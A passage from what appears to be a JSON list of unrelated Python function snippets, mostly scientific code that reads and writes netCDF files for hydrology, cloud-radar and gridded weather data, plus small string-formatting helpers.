'seconds'\\n time.description = 'Seconds since initial impulse'\\n time.calendar = 'proleptic_gregorian'\\n\\n UHS.units = 'unitless'\\n UHS.description = 'unit hydrograph for each grid cell with respect to basin outlet location'\\n \\n fraction.units = 'unitless'\\n fraction.description = 'fraction of grid cell contributing to guage location'\\n\\n # write data to variables initialized above\\n time[:]= times\\n xcs[:,:] = xc\\n ycs[:,:] = yc\\n xc_bnds[:,:,:] = xc_bnd\\n yc_bnds[:,:,:] = yc_bnd\\n UHS[:,:,:] = hydrographs\\n fraction[:,:]= fractions\\n f.close()\\n\\n return\",\n \"def variable_string(self, name):\\n return \\\"$(\\\" + name + \\\")\\\"\",\n \"def getSrcString(self):\\n srcString = 'c -------------------------- Source Defination ----------------------------\\\\n'\\n srcString += 'c 1 nanogram Cf-252 source = 1E-9 grams = 6.623E-11 cc \\\\n'\\n srcString += 'sdef pos=-200 0 108.85 cel=70 par=SF rad=d1 \\\\n'\\n srcString += 'si1 0 2.510E-04 \\\\n'\\n srcString += 'sp1 -21 1 \\\\n'\\n return srcString\",\n \"def varStringMod(self, arg):\\n\\t\\targ[0] = \\\"'\\\" + arg[0] + \\\"'\\\"\\n\\t\\treturn arg\",\n \"def nctoflt(ncfile, fltstem, varname, iz=0):\\n\\n ncobj = nh.nc3_open(ncfile,'r')\\n a = ncobj.variables[varname]\\n # Copy out into a numpy array and make sure we have only\\n # 2 dimensions and type float32.\\n b = numpy.float32(ncobj.variables[varname])\\n if len(b.shape) < 2 or len(b.shape) > 3:\\n raise ValueError(\\\"Only 2D and 3D data allowed (not \\\"+len(b.shape)+\\\"D)\\\")\\n if len(b.shape) == 3:\\n b = numpy.float32(b[iz,::,::].reshape(b.shape[1], b.shape[2]))\\n fillValue = numpy.float32(ncobj.variables[varname]._FillValue)\\n\\n latvec = ncobj.variables['latitude']\\n lonvec = ncobj.variables['longitude']\\n lat1 = latvec[0]\\n lat2 = latvec[len(latvec)-1]\\n # Reverse if latitude runs South to North\\n if lat1 < lat2:\\n x = lat2\\n lat2 = lat1\\n lat1 = x\\n b = b[::-1,]\\n lon1 = lonvec[0]\\n lon2 = lonvec[len(lonvec)-1]\\n \\n dlat = abs(lat1-lat2)/(len(latvec)-1)\\n dlon = abs(lon2-lon1)/(len(lonvec)-1)\\n xll = lon1-dlon*0.5\\n yll = lat2-dlat*0.5\\n\\n\\n fltname = fltstem+'.flt'\\n if os.path.exists(fltname): os.unlink(fltname)\\n b.tofile(fltname)\\n f = file(fltstem+\\\".hdr\\\",\\\"w\\\")\\n \\n f.write(\\\"ncols %d\\\\n\\\" % b.shape[1])\\n f.write(\\\"nrows %d\\\\n\\\" % b.shape[0])\\n f.write(\\\"xllcorner %f\\\\n\\\" % xll)\\n f.write(\\\"yllcorner %f\\\\n\\\" % yll)\\n f.write(\\\"cellsize %f\\\\n\\\" % dlon)\\n f.write(\\\"NODATA_value %f\\\\n\\\" % fillValue)\\n if sys.byteorder == \\\"little\\\":\\n f.write(\\\"byteorder LSBFIRST\\\\n\\\")\\n else:\\n f.write(\\\"byteorder LSBLAST\\\\n\\\")\\n f.close()\\n attr = nh.nc3_get_attributes(ncobj)\\n nh.nc3_close(ncobj)\\n return attr\",\n \"def identity(self, default=\\\"\\\"):\\n for prop in (\\\"standard_name\\\", \\\"grid_mapping_name\\\"):\\n n = self.coordinate_conversion.get_parameter(prop, None)\\n if n is not None:\\n return f\\\"{prop}:{n}\\\"\\n\\n n = self.nc_get_variable(None)\\n if n is not None:\\n return f\\\"ncvar%{n}\\\"\\n\\n return default\",\n \"def makeinputstring(variabel):\\r\\n if type(variabel) == int:\\r\\n return str(variabel)\\r\\n elif type(variabel) == float:\\r\\n return str(int(float(variabel)))\\r\\n else:\\r\\n return str(variabel)\",\n \"def _rank_to_ctrl_string(rank, length):\\n pass\",\n \"def __str__(self):\\r\\n\\r\\n txt = super(GrfNodeCore, self).__str__()\\r\\n\\r\\n inID = self.inPort[0]\\r\\n\\r\\n outID = [P[0] for P in self.outPort]\\r\\n\\r\\n txt += '; input ID = {0}; output ID = {1}'.format(inID, outID) # generate formatted text\\r\\n return txt\",\n \"def read_mmclx_save_nc(mmclx_filename, nc_filename):\\n\\n # Open .mmclx file\\n mmclx = xr.open_dataset(mmclx_filename)\\n\\n # Create .nc file with necessary variables\\n ncfile = mmclx[\\n [\\n \\\"Ze\\\",\\n \\\"VEL\\\",\\n \\\"LDR\\\",\\n \\\"RHO\\\",\\n \\\"DPS\\\",\\n \\\"NyquistVelocity\\\",\\n \\\"nave\\\",\\n \\\"nfft\\\",\\n \\\"prf\\\",\\n \\\"zrg\\\",\\n \\\"drg\\\",\\n ]\\n ]\\n # Invert order of dimensions\\n ncfile = ncfile.transpose()\\n\\n # Convert + change attributes of time dimension\\n ncfile[\\\"time\\\"] = (\\n \\\"time\\\",\\n pd.to_datetime(ncfile.time.values, unit=\\\"s\\\"),\\n {\\\"long_name\\\": \\\"Time in epoch reference\\\", \\\"standard_name\\\": \\\"time\\\"},\\n )\\n # Change attributes of range dimension\\n ncfile[\\\"range\\\"] = ncfile.range.assign_attrs(\\n {\\n \\\"long_name\\\": \\\"Range from antenna to the centre of each range gate\\\",\\n \\\"standard_name\\\": \\\"range\\\",\\n }\\n )\\n\\n # Create additional instrument parameters\\n ncfile[\\\"pulse_width\\\"] = float(\\n ncfile.hrd[\\n (ncfile.hrd.find(\\\"\\\\nPULSE_WIDTH:\\\") + 15) : ncfile.hrd.find(\\n \\\"\\\\nRX_PULSEWIDTH:\\\"\\n )\\n ]\\n )\\n ncfile[\\\"pulse_width\\\"] = ncfile.pulse_width.assign_attrs(\\n {\\n \\\"long_name\\\": \\\"Pulse Width\\\",\\n \\\"units\\\": \\\"s\\\",\\n \\\"meta_group\\\": \\\"instrument_parameters\\\",\\n \\\"standard_name\\\": \\\"hrd['PULSE_WIDTH']\\\",\\n }\\n )\\n ncfile[\\\"prt\\\"] = 2e-4\\n ncfile[\\\"prt\\\"] = ncfile.prt.assign_attrs(\\n {\\n \\\"long_name\\\": \\\"Pulse repetition time\\\",\\n \\\"units\\\": \\\"s\\\",\\n \\\"meta_group\\\": \\\"instrument_parameters\\\",\\n \\\"standard_name\\\": \\\"\\\",\\n }\\n )\\n ncfile[\\\"frequency\\\"] = 35e9\\n ncfile[\\\"frequency\\\"] = ncfile.frequency.assign_attrs(\\n {\\n \\\"long_name\\\": \\\"Radiation Frequency\\\",\\n \\\"units\\\": \\\"s^-1\\\",\\n \\\"meta_group\\\": \\\"instrument_parameters\\\",\\n \\\"standard_name\\\": \\\"\\\",\\n }\\n )\\n ncfile[\\\"latitude\\\"] = float(ncfile.Latitude[:-1])\\n ncfile[\\\"latitude\\\"] = ncfile.latitude.assign_attrs(\\n {\\n \\\"long_name\\\": \\\"Latitude\\\",\\n \\\"units\\\": \\\"degrees_north\\\",\\n \\\"meta_group\\\": \\\"instrument_parameters\\\",\\n \\\"standard_name\\\": \\\"Latitude\\\",\\n }\\n )\\n ncfile[\\\"longitude\\\"] = float(ncfile.Longitude[:-1])\\n ncfile[\\\"longitude\\\"] = ncfile.longitude.assign_attrs(\\n {\\n \\\"long_name\\\": \\\"Longitude\\\",\\n \\\"units\\\": \\\"degrees_east\\\",\\n \\\"meta_group\\\": \\\"instrument_parameters\\\",\\n \\\"standard_name\\\": \\\"Longitude\\\",\\n }\\n )\\n ncfile[\\\"altitude\\\"] = float(ncfile.Altitude[:-1])\\n ncfile[\\\"altitude\\\"] = ncfile.altitude.assign_attrs(\\n {\\n \\\"long_name\\\": \\\"Altitude\\\",\\n \\\"units\\\": \\\"m\\\",\\n \\\"meta_group\\\": \\\"instrument_parameters\\\",\\n \\\"standard_name\\\": \\\"Altitude\\\",\\n }\\n )\\n\\n # Change names of variables\\n ncfile = ncfile.rename_vars(\\n {\\n \\\"Ze\\\": \\\"filtered_reflectivity\\\",\\n \\\"VEL\\\": \\\"filtered_velocity\\\",\\n \\\"LDR\\\": \\\"filtered_linear_depolarization_ratio\\\",\\n \\\"RHO\\\": \\\"cross_correlation_ratio\\\",\\n \\\"DPS\\\": \\\"differential_phase\\\",\\n \\\"NyquistVelocity\\\": \\\"nyquist_velocity\\\",\\n \\\"nave\\\": \\\"n_samples\\\",\\n \\\"nfft\\\": \\\"n_fft\\\",\\n \\\"zrg\\\": \\\"n_range_gates\\\",\\n \\\"drg\\\": \\\"range_resolution\\\",\\n }\\n )\\n\\n # Convert dBZ variables to dBZ\\n ncfile.filtered_reflectivity.values = 10 * np.log10(\\n ncfile.filtered_reflectivity.values\\n )\\n ncfile.filtered_linear_depolarization_ratio.values = 10 * np.log10(\\n ncfile.filtered_linear_depolarization_ratio.values\\n )\\n\\n # Change attributes of variables\\n ncfile[\\\"filtered_reflectivity\\\"] = ncfile.filtered_reflectivity.assign_attrs(\\n {\\n \\\"units\\\": \\\"dBZ\\\",\\n \\\"valid_range\\\": ncfile.filtered_reflectivity.attrs.pop(\\\"yrange\\\"),\\n \\\"standard_name\\\": \\\"Ze\\\",\\n \\\"long_name\\\": \\\"Filtered Equivalent Reflectivity Factor\\\",\\n }\\n )\\n ncfile[\\\"filtered_velocity\\\"] = ncfile.filtered_velocity.assign_attrs(\\n {\\n \\\"units\\\": \\\"m * s^-1\\\",\\n \\\"valid_range\\\": ncfile.filtered_velocity.attrs.pop(\\\"yrange\\\"),\\n \\\"standard_name\\\": \\\"VEL\\\",\\n \\\"long_name\\\": \\\"Filtered Mean Doppler Velocity\\\",\\n }\\n )\\n ncfile[\\n \\\"filtered_linear_depolarization_ratio\\\"\\n ] = ncfile.filtered_linear_depolarization_ratio.assign_attrs(\\n {\\n \\\"units\\\": \\\"dB\\\",\\n \\\"valid_range\\\": ncfile.filtered_linear_depolarization_ratio.attrs.pop(\\n \\\"yrange\\\"\\n ),\\n \\\"standard_name\\\": \\\"LDR\\\",\\n \\\"long_name\\\": \\\"Filtered Linear De-Polarization Ratio\\\",\\n }\\n )\\n ncfile[\\n \\\"cross_correlation_ratio\\\"\\n ] = ncfile.cross_correlation_ratio.assign_attrs(\\n {\\n \\\"units\\\": \\\"unitless\\\",\\n \\\"valid_range\\\": ncfile.cross_correlation_ratio.attrs.pop(\\\"yrange\\\"),\\n \\\"standard_name\\\": \\\"RHO\\\",\\n \\\"long_name\\\": \\\"Co-Cross Correlation Ratio\\\",\\n }\\n )\\n ncfile[\\\"differential_phase\\\"] = ncfile.differential_phase.assign_attrs(\\n {\\n \\\"units\\\": \\\"degrees\\\",\\n \\\"valid_range\\\": ncfile.differential_phase.attrs.pop(\\\"yrange\\\"),\\n \\\"standard_name\\\": \\\"DPS\\\",\\n \\\"long_name\\\": \\\"Differential Phase\\\",\\n }\\n )\\n ncfile[\\\"nyquist_velocity\\\"] = ncfile.nyquist_velocity.assign_attrs(\\n {\\n \\\"units\\\": \\\"m * s^-1\\\",\\n \\\"meta_group\\\": \\\"instrument_parameters\\\",\\n \\\"standard_name\\\": \\\"NyquistVelocity\\\",\\n \\\"long_name\\\": \\\"Nyquist Velocity\\\",\\n }\\n )\\n ncfile[\\\"n_samples\\\"] = ncfile.n_samples.assign_attrs(\\n {\\n \\\"units\\\": \\\"unitless\\\",\\n \\\"meta_group\\\": \\\"instrument_parameters\\\",\\n \\\"standard_name\\\": \\\"nave\\\",\\n \\\"long_name\\\": \\\"Number of spectral averages used to compute moments\\\",\\n }\\n )\\n ncfile[\\\"n_fft\\\"] = ncfile.n_fft.assign_attrs(\\n {\\n \\\"units\\\": \\\"unitless\\\",\\n \\\"meta_group\\\": \\\"instrument_parameters\\\",\\n \\\"standard_name\\\": \\\"nfft\\\",\\n \\\"long_name\\\": \\\"Number of FFT points\\\",\\n }\\n )\\n ncfile[\\\"prf\\\"] = ncfile.prf.assign_attrs(\\n {\\n \\\"units\\\": \\\"Hz\\\",\\n \\\"meta_group\\\": \\\"instrument_parameters\\\",\\n \\\"standard_name\\\": \\\"prf\\\",\\n \\\"long_name\\\": \\\"Pulse Repetition Frequency\\\",\\n }\\n )\\n ncfile[\\\"n_range_gates\\\"] = ncfile.n_range_gates.assign_attrs(\\n {\\n \\\"units\\\": \\\"unitless\\\",\\n \\\"meta_group\\\": \\\"instrument_parameters\\\",\\n \\\"standard_name\\\": \\\"zrg\\\",\\n \\\"long_name\\\": \\\"Number of range gates\\\",\\n }\\n )\\n ncfile[\\\"range_resolution\\\"] = ncfile.range_resolution.assign_attrs(\\n {\\n \\\"units\\\": \\\"m\\\",\\n \\\"meta_group\\\": \\\"instrument_parameters\\\",\\n \\\"standard_name\\\": \\\"drg\\\",\\n \\\"long_name\\\": \\\"Range resolution\\\",\\n }\\n )\\n\\n # Remove unnecessary attributes of variables\\n for var in ncfile.variables:\\n for attr in [\\\"axis\\\", \\\"db\\\", \\\"unit\\\"]:\\n if attr in ncfile[var].attrs.keys():\\n del ncfile[var].attrs[attr]\\n\\n # Remove unnecessary global attributes\\n for attr in [\\\"Altitude\\\", \\\"Latitude\\\", \\\"Longitude\\\", \\\"ppar\\\", \\\"hrd\\\"]:\\n del ncfile.attrs[attr]\\n\\n # Reorder variables\\n ncfile = ncfile[\\n [\\n \\\"filtered_reflectivity\\\",\\n \\\"filtered_velocity\\\",\\n \\\"filtered_linear_depolarization_ratio\\\",\\n \\\"cross_correlation_ratio\\\",\\n \\\"differential_phase\\\",\\n \\\"nyquist_velocity\\\",\\n \\\"n_fft\\\",\\n \\\"prf\\\",\\n \\\"prt\\\",\\n \\\"n_range_gates\\\",\\n \\\"range_resolution\\\",\\n \\\"n_samples\\\",\\n \\\"pulse_width\\\",\\n \\\"frequency\\\",\\n \\\"latitude\\\",\\n \\\"longitude\\\",\\n \\\"altitude\\\",\\n ]\\n ]\\n\\n # Save .nc file\\n ncfile.to_netcdf(\\n nc_filename,\\n unlimited_dims=\\\"time\\\",\\n encoding={\\\"time\\\": {\\\"units\\\": \\\"seconds since 1970-01-01 00:00:00\\\"}},\\n )\",\n \"def read_var(self, ncvar):\\n ncf = Dataset(self.fname)\\n dat = ncf.variables[ncvar][:]\\n ncf.close()\\n return dat\",\n \"def write_netcdf(ncinfo):\\r\\n\\t# ========== Create new netcdf ==========\\r\\n\\tNAME=nc.netcdf_file(ncinfo.fname,'w')\\r\\n\\t\\r\\n\\t# ========== Set up the Dimensions ==========\\r\\n\\tNAME.createDimension('time', None) #Question: Shouldn't time be unlimited?\\r\\n\\t# NAME.createDimension('lev',11)\\r\\n\\tNAME.createDimension('lat',ncinfo.lat)\\r\\n\\tNAME.createDimension('lon',ncinfo.lon)\\r\\n\\t\\r\\n\\t# ========== Setup the Variables ==========\\r\\n\\ttime=NAME.createVariable('time',np.float64,('time',))\\r\\n\\t# lev=NAME.createVariable('lev',np.int32,('lev',))\\r\\n\\tlat=NAME.createVariable('lat',np.float64,('lat',))\\r\\n\\tlon=NAME.createVariable('lon',np.float64,('lon',))\\r\\n\\t# VAR=NAME.createVariable(str(VAR),np.float64,('time','lev','lat','lon'),)\\r\\n\\tVAR=NAME.createVariable(ncinfo.var_name,np.float64,('time','lat','lon'),)\\r\\n\\t# setting the missing value is super important for the file to be cdo readable\\r\\n\\tsetattr(VAR,'missing_value',ncinfo.fill)\\r\\n\\tsetattr(VAR, 'standard_name', ncinfo.var_lname) \\r\\n\\t\\r\\n\\t# ========== Set the units ==========\\r\\n\\ttime.units= 'day as %Y%m%d'\\r\\n\\t# lev.units = '-'\\r\\n\\tlat.units = 'degrees_north'\\r\\n\\tlon.units = 'degrees_east'\\r\\n\\tVAR.units = ncinfo.units\\r\\n\\r\\n\\t# ========== Add data ==========\\r\\n\\t\\r\\n\\t# creates time vector using the date_range function\\r\\n\\t# time[:]=[t for t in date_range('20110101.5','20111231.5')] \\r\\n\\t# lev[:]=PFT_vector\\r\\n\\tlat[:] = ncinfo.latitudes\\r\\n\\tlon[:] = ncinfo.longitudes\\r\\n\\t# THis is a Bodge for singe variable data\\r\\n\\tVAR[:] = ncinfo.data\\r\\n\\r\\n\\t#Add global attributes\\r\\n\\tNAME.description = ncinfo.description\\r\\n\\tNAME.history = ncinfo.history\\r\\n\\r\\n\\t# WHATS MISSING\\r\\n\\t# metadata a whole bunch of metadata\\r\\n\\t# the standard_name and long_name of the variables\\r\\n\\r\\n\\t# ========== Close the netcdf ==========\\r\\n\\tNAME.close()\",\n \"def scalar_name(m1, m2):\\n root = \\\"/Users/atlytle/Dropbox/pycode/tifr/data/\\\"\\n return root + \\\"HOscalar_l2464_m{0}_m{1}.npy\\\".format(m1, m2)\",\n \"def string_to_param(self,string):\\n\\n if (string.startswith(\\\"log_\\\")): return math.log10(self.string_to_param(string[4:]))\\n if (string.startswith(\\\"ln_\\\")): return math.log(self.string_to_param(string[3:]))\\n if (string.startswith(\\\"exp_\\\")): return math.exp(self.string_to_param(string[4:]))\\n if (string == \\\"Mass\\\"): return self.glb[imass]/constants.solar_mass\\n if (string == \\\"Radius\\\"): return self.glb[iradius]/constants.solar_radius\\n if (string == \\\"Luminosity\\\"): return self.glb[iluminosity]/constants.solar_luminosity\\n if (string == \\\"Z\\\"): return self.glb[iz0]\\n if (string == \\\"Y\\\"): return 1.0-self.glb[iz0]-self.glb[ix0]\\n if (string == \\\"X\\\"): return self.glb[ix0]\\n if (string == \\\"Ys\\\"): return 1.0-self.glb[user_params_index[\\\"Zs\\\"]]-self.glb[user_params_index[\\\"Xs\\\"]]\\n if (string == \\\"zsx_s\\\"): return self.zsx_s\\n if (string == \\\"zsx_0\\\"): return self.zsx_0\\n if (string == \\\"Fe_H\\\"): return self.FeH\\n if (string == \\\"M_H\\\"): return self.MH\\n if (string == \\\"Age\\\"): return self.glb[iage]\\n if (string == \\\"Teff\\\"): return self.glb[itemperature]\\n if (string == \\\"Dnu\\\"): return self.find_large_separation()*self.glb[ifreq_ref]\\n if (string == \\\"numax\\\"): return self.numax\\n if (string == \\\"Rho\\\"): return 3.0*self.glb[imass]/(4.0*math.pi*self.glb[iradius]**3)\\n if (string == \\\"g\\\"): return constants.G*self.glb[imass]/self.glb[iradius]**2\\n if (string == \\\"beta_Sonoi2015\\\"): return self.beta_Sonoi2015\\n if (string == \\\"b_Kjeldsen2008\\\"): return self.b_Kjeldsen2008\\n\\n try:\\n return self.glb[user_params_index[string]]\\n except KeyError:\\n sys.exit(\\\"ERROR: unrecognised model quantity: \\\"+string)\",\n \"def myr(value):\\n return f\\\"RM{value:,.2f}\\\"\",\n \"def get_string(self,varname):\\n var=self.scope.resolve(varname)\\n con=fileless_context(verbose=self.verbose)\\n return var.string_context(con)\",\n \"def normalize_array(var):\\n if np.issubdtype(var.dtype, 'S1'):\\n if var.dtype == str:\\n # Python 2 on netCDF4 'string' variables needs this.\\n # Python 3 returns false for np.issubdtype(var.dtype, 'S1')\\n return var[:]\\n\\n def decoder(x):\\n return str(x.decode('utf-8'))\\n vfunc = np.vectorize(decoder)\\n return vfunc(nc4.chartostring(var[:]))\\n else:\\n return var[:]\",\n \"def _raw_to_string(self, dtype, units='Angstrom', atom_format=None, ghost_format=None, width=17, prec=12):\\n\\n #molrec = self.to_dict(force_units=units, np_out=True)\\n molrec = self.to_dict(np_out=True)\\n smol = molparse.to_string(molrec,\\n dtype=dtype,\\n units=units,\\n atom_format=atom_format,\\n ghost_format=ghost_format,\\n width=width,\\n prec=prec)\\n return smol\",\n \"def get_nc_var_stdname(nc_fname, nc_stdvarname):\\n # Note: this may yield the wrong results if more than one var\\n # has the same standard name in a file?\\n # Note: Have seen two different decodings of netcdf files\\n # - SUBDATASET...\\n # - <varname>#<varmetadata>\\n\\n try:\\n ds = netCDF4.Dataset(nc_fname, 'r')\\n except ValueError:\\n print('ValueError trying to open: {}'.format(nc_fname))\\n\\n ds_info = gdal.Info(nc_fname)\\n ds_info_lines = ds_info.split('\\\\n')\\n\\n nc_varline = None\\n nc_alt_var_name = None\\n\\n for i, line in enumerate(ds_info_lines):\\n if ' {} '.format(nc_stdvarname) in line:\\n if nc_varline is None:\\n nc_varline = i - 1\\n else:\\n print('Warning: additional stdname also found')\\n\\n if '#standard_name={}'.format(nc_stdvarname) in line:\\n nc_alt_var_name = line.split('#')[0]\\n\\n if nc_alt_var_name is not None:\\n return nc_alt_var_name.lstrip()\\n elif nc_varline is not None:\\n colon_splits = ds_info_lines[nc_varline].split(':')\\n nc_varname = colon_splits[-1]\\n return nc_varname\\n else:\\n # Could not find standard name\\n raise ValueError('Could not find stdname {} in {}'.format(\\n nc_stdvarname, nc_fname))\",\n \"def inputs_netCDF(ID, fname, data):\\n\\n from netCDF4 import Dataset #, date2num, num2date\\n from datetime import datetime\\n\\n print('**** creating SpaFHy input netCDF4 file: ' + fname + ' ****')\\n \\n # create dataset & dimensions\\n ncf = Dataset(fname, 'w')\\n ncf.description = 'SpatialData from : ' + str(ID)\\n ncf.history = 'created ' + datetime.now().strftime('%Y-%m-%d %H:%M:%S')\\n ncf.source = 'SpaFHy v.1.0 inputs'\\n \\n dlat, dlon = np.shape(data['cmask'])\\n\\n ncf.createDimension('dlon', int(dlon))\\n ncf.createDimension('dlat', int(dlat))\\n ncf.createDimension('scalar', 1)\\n\\n # create variables \\n # call as createVariable(varname,type,(dimensions))\\n cellsize = ncf.createVariable('cellsize', 'f4', ('scalar',))\\n cellsize.units = 'm'\\n lat = ncf.createVariable('lat', 'f4', ('dlat',))\\n lat.units = 'ETRS-TM35FIN'\\n lon = ncf.createVariable('lon', 'f4', ('dlon',))\\n lon.units = 'ETRS-TM35FIN'\\n\\n cellsize[0] = data['cellsize']\\n lon[:] = data['lon0']\\n lat[:] = data['lat0']\\n \\n # required inputs\\n cmask = ncf.createVariable('cmask', 'i4', ('dlat','dlon',))\\n cmask.units = 'integer inside catchment, Nan outside'\\n LAI_conif = ncf.createVariable('LAI_conif', 'f4', ('dlat','dlon',))\\n LAI_conif.units = 'conifer LAI (m2m-2)'\\n LAI_decid = ncf.createVariable('LAI_decid', 'f4', ('dlat','dlon',))\\n LAI_decid.units = 'deciduous annual max LAI (m2m-2)' \\n hc = ncf.createVariable('hc', 'f4', ('dlat','dlon',))\\n hc.units = 'canopy height m' \\n cf = ncf.createVariable('cf', 'f4', ('dlat','dlon',))\\n cf.units = 'canopy closure (-)' \\n \\n soilclass = ncf.createVariable('soilclass', 'i4', ('dlat','dlon',))\\n soilclass.units = 'soil class (1 - 5)'\\n \\n flowacc = ncf.createVariable('flowacc', 'f4', ('dlat','dlon',))\\n flowacc.units = 'flow accumualtion area m2'\\n slope = ncf.createVariable('slope', 'f4', ('dlat','dlon',))\\n slope.units = 'local slope (deg)' \\n \\n for k in ['LAI_conif', 'LAI_decid', 'hc', 'cf', 'soilclass', 'flowacc', 'slope']:\\n ncf[k][:,:] = data[k]\\n \\n print('**** done ****')\",\n \"def valueToString():\",\n \"def __str__(self) -> str:\\n if self.afix and self.shx.frag:\\n # An atom from a FRAG/FEND instruction\\n return Atom._fragatomstr.format(self.name, self.x, self.y, self.z)\\n else:\\n if sum([abs(u) for u in self.uvals[2:]]) > 0.00001 and not self.qpeak:\\n # anisotropic atom\\n try:\\n return Atom._anisatomstr.format(self.name, self.sfac_num, self.x, self.y, self.z, self.sof,\\n *self.uvals)\\n except IndexError:\\n return 'REM Error in U values.'\\n else:\\n # isotropic atom:\\n if self.qpeak:\\n return Atom._qpeakstr.format(self.name, self.sfac_num, self.x, self.y, self.z, self.sof, 0.04,\\n self.peak_height)\\n try:\\n return Atom._isoatomstr.format(self.name, self.sfac_num, self.x, self.y, self.z, self.sof,\\n *self.uvals)\\n except IndexError:\\n return Atom._isoatomstr.format(self.name, self.sfac_num, self.x, self.y, self.z, self.sof, 0.04)\",\n \"def writeNetCDFData(out_nc, hrus, dr_time, hru_type, remapped_data, var_meta, var_attrs, var_encodings, remap_idx):\\n\\n dataset = xr.Dataset()\\n\\n for varname, meta in var_meta.items():\\n foo = xr.DataArray(remapped_data[varname][:, remap_idx],\\n dims=['time', 'basinID'],\\n name=varname)\\n\\n foo.encoding = var_encodings[varname]\\n foo.attrs = var_attrs[varname]\\n\\n dataset[varname] = foo\\n\\n # HRU ID variables\\n dataset['basinID'] = xr.DataArray(hrus[remap_idx], dims=['basinID'])\\n dataset['basinID'].encoding = {'dtype': hru_type, '_FillValue': None}\\n dataset['basinID'].attrs = {'long_name': 'Basin ID'}\\n\\n dataset[TIME_DIM_NAME] = dr_time\\n\\n dataset.to_netcdf(out_nc, unlimited_dims='time')\",\n \"def as_string (self) :\\n\\n if self.is_machinetag() :\\n return \\\"%s:%s=%s\\\" % (self.namespace(), self.predicate(), self.value())\",\n \"def save_nc(output_file_path_str,data_arr,var_name,var_type,var_unit,longname,\\r\\n datetime_object,description,dt=None,verbose=False):\\r\\n \\r\\n ## Put input data into lists (if not provided as list):\\r\\n if type(data_arr) is not list: data_arr = [data_arr]\\r\\n if type(var_name) is not list: var_name = [var_name]\\r\\n if type(var_type) is not list: var_type = [var_type]\\r\\n if type(var_unit) is not list: var_unit = [var_unit]\\r\\n if type(longname) is not list: longname = [longname]\\r\\n if type(datetime_object) is not list: datetime_object = [datetime_object]\\r\\n \\r\\n ## Check length of input data:\\r\\n if len(set(map(np.shape, data_arr))) > 1:\\r\\n raise ValueError('variable arrays are not of the same shape (%s)' %\\r\\n map(np.shape, data_arr))\\r\\n if len(datetime_object)!=1 and len(datetime_object)!=data_arr[0].shape[0]:\\r\\n raise ValueError('length of datetime object (%s) is unequal '+\\r\\n 'to one or the first dimension of the variable array (%s)' %\\r\\n (len(datetime_object),data_arr[0].shape[0]))\\r\\n elif len(var_name)!=len(data_arr):\\r\\n raise ValueError('length of var_name list (%s) is unequal '+\\r\\n 'to the number of variable arrays (%s)' %\\r\\n (len(var_name),len(data_arr)))\\r\\n #elif len(var_name)!=1 and len(var_name)!=len(data_arr):\\r\\n # raise ValueError('length of var_name list (%s) is unequal '+\\r\\n # 'to one or the first dimension of the variable array (%s)' %\\r\\n # (len(var_name),len(data_arr)))\\r\\n elif len(var_type)!=1 and len(var_type)!=len(data_arr):\\r\\n raise ValueError('length of var_type list (%s) is unequal '+\\r\\n 'to one or the first dimension of the variable array (%s)' %\\r\\n (len(var_name),len(data_arr)))\\r\\n elif len(var_unit)!=1 and len(var_unit)!=len(data_arr):\\r\\n raise ValueError('length of var_unit list (%s) is unequal '+\\r\\n 'to one or the first dimension of the variable array (%s)' %\\r\\n (len(var_unit),len(data_arr)))\\r\\n elif len(longname)!=1 and len(longname)!=len(data_arr):\\r\\n raise ValueError('length of longname list (%s) is unequal '+\\r\\n 'to one or the first dimension of the variable array (%s)' %\\r\\n (len(longname),len(data_arr)))\\r\\n if len(datetime_object)==1 and len(datetime_object)!=len(data_arr) and dt is None:\\r\\n raise ValueError('length of time step has to be provided')\\r\\n\\r\\n if not exists(dirname(output_file_path_str)):\\r\\n print('... create output directory: ' + dirname(output_file_path_str))\\r\\n makedirs(dirname(output_file_path_str))\\r\\n \\r\\n ## Create NetCDF file:\\r\\n dataset = Dataset(output_file_path_str,\\r\\n 'w', format='NETCDF4_CLASSIC')\\r\\n dataset.history = 'Created ' + datetime.datetime.now().strftime(\\\"%d.%m.%Y %H:%M\\\")\\r\\n dataset.description = description\\r\\n \\r\\n ## Dimension creation:\\r\\n x = dataset.createDimension('x', data_arr[0].shape[2])\\r\\n y = dataset.createDimension('y', data_arr[0].shape[1])\\r\\n time = dataset.createDimension('time', None) # data_arr.shape[0])\\r\\n \\r\\n ## Auxilary variable creation:\\r\\n x_axis = dataset.createVariable('x', np.float32, ('x',))\\r\\n y_axis = dataset.createVariable('y', np.float32, ('y',))\\r\\n times = dataset.createVariable('time', np.int16, ('time',)) # u8 or i8 does not work...\\r\\n times.calendar = 'standard'\\r\\n times.units = 'minutes since %s' % datetime_object[0].strftime(\\\"%Y-%m-%d %H:%M:%S\\\")\\r\\n #times.units = 'seconds since 1970-01-01 00:00:00.0'\\r\\n \\r\\n ## Create time stamps variable:\\r\\n if len(datetime_object)==1:\\r\\n datetime_list = datetime_object - np.arange(data_arr[0].shape[0])*datetime.timedelta(minutes=dt)\\r\\n else: datetime_list = datetime_object\\r\\n times[:] = date2num(datetime_list,units=times.units)\\r\\n \\r\\n ## Create spatial coordinate variable:\\r\\n y_axis.units = 'Swiss northing CH1903 [km]'\\r\\n x_axis.units = 'Swiss easting CH1903 [km]'\\r\\n x_axis[:] = np.arange(255,965)+0.5\\r\\n y_axis[::-1] = np.arange(-160,480)+0.5\\r\\n \\r\\n ## Data variable creation:\\r\\n var_name_list = var_name #if len(var_name)==1 else var_name*len(data_arr)\\r\\n var_type_list = var_type if len(var_name)==1 else var_type*len(data_arr)\\r\\n\\r\\n ## Write data into variables:\\r\\n id_var_list=[]\\r\\n for i in range(len(data_arr)):\\r\\n #if \\\"int\\\" in var_type_list[i]:\\r\\n # id_var_list.append(dataset.createVariable(var_name_list[i],var_type_list[i],\\r\\n # ('time','y','x'),zlib=True))\\r\\n #else:\\r\\n id_var_list.append(dataset.createVariable(var_name_list[i],var_type_list[i],\\r\\n ('time','y','x'),zlib=True,\\r\\n least_significant_digit=3)) #,least_significant_digit=2\\r\\n id_var_list[i].setncatts({'long_name': longname[i],'units': var_unit[i]})\\r\\n id_var_list[i][:,:,:] = data_arr[i]\\r\\n\\r\\n ## Close file:\\r\\n dataset.close()\\r\\n if verbose: print(\\\" Written NetCDF file for: %s (%s)\\\" %\\r\\n (description,datetime_object[0].strftime(\\\"%d.%m.%y %H:%M\\\")))\",\n \"def training_data_rho_output(P=\\\"{P:d}\\\", T=\\\"{T:.2f}\\\", J=\\\"{J:d}\\\"):\\n return _training_data_rho_output.format(P, T, J)\",\n \"def cam_to_string(cam):\\n cam_string = (\\\"near;{:8f}\\\\n\\\").format(cam.nearPlane)\\n cam_string += 